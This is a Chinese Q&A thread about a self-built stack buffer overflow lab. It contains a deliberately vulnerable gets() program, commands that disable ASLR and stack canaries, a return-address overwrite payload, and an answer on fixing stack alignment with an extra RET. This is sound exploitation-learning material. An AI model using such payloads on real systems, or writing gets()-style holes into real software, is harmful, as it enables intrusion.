我正在利用缓冲区溢出漏洞进行教育目的。我的目标是通过更改 RIP 并针对邪恶函数来触发 shell。我使用的是 Ubuntu 18.04 64 位。这是代码.c:
#include <stdio.h>
#include <stdlib.h>
void main(void)
{
char buf[20];
printf("Give me your name: ");
gets(buf);
printf("\nYour name is %s\n", buf);
return;
}
void evil(){
printf("Evil function entered\n");
system("/bin/sh");
printf("Evil function exited\n");
return;
}
为了让事情变得简单,我使用 GCC 选项编译了这段代码-fno-stack-protector
,该选项禁用了金丝雀。另外,我使用以下命令禁用了 ASLR:sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
。因此,程序的内存地址永远不会改变,这使事情变得更加容易。
在code.c的编译版本中,我通过GDB得到了以下信息:
缓冲区开始于:0x7fffffffde80
RIP 存储于:0x7fffffffdea8
0x7fffffffdea8 - 0x7fffffffde80 = 40
。因此,我们需要插入 40 字节的填充。
邪恶函数的入口位于0x55555555475f
,在小尾数中看起来像:
\x5f\x47\x55\x55\x55\x55\x00\x00
(加上两个\x00就构成了整个8字节地址)
最终的有效负载如下所示:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x5f\x47\x55\x55\x55\x55\x00\x00
现在,我将其存储在一个文件中:
echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x5f\x47\x55\x55\x55\x55\x00\x00" > input.txt
最后,我运行程序并将input.txt
内容作为输入传递:
cat input.txt - | ./code
注意到-
阻止猫退出。
我的终端显示:
Give me your name:
Your name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_GUUUU
Evil function entered
Evil function exited
Program received signal SIGSEGV. Segmentation fault. Core dumped.
令人惊讶的是,邪恶函数被执行但/bin/sh
没有弹出。它会立即关闭,而不询问用户命令。看起来标准输入在某个时刻正在与终端分离。
问题是:如何弹出 shell 来执行命令?这是某种安全保护吗?
谢谢。
答案1
我终于解决了这个问题。
当堆栈不是 16 字节对齐时,C 库的 system() 函数将无法执行。
就我而言,我忘记在 16 字节边界上对齐堆栈,这就是system("/bin/sh");
无法正确执行的原因,因此无法触发 shell。
事实上,在 x86-64 中,System V ABI 要求堆栈应为 16 字节对齐在执行 CALL 汇编指令之前。否则,结果不可预测。所以这不仅仅适用于 system() 函数,而是适用于任何函数。
由于我的堆栈未对齐 8 个字节,因此向 ROP 链添加额外的 RET 会导致堆栈正确对齐。
现在我已经成功了。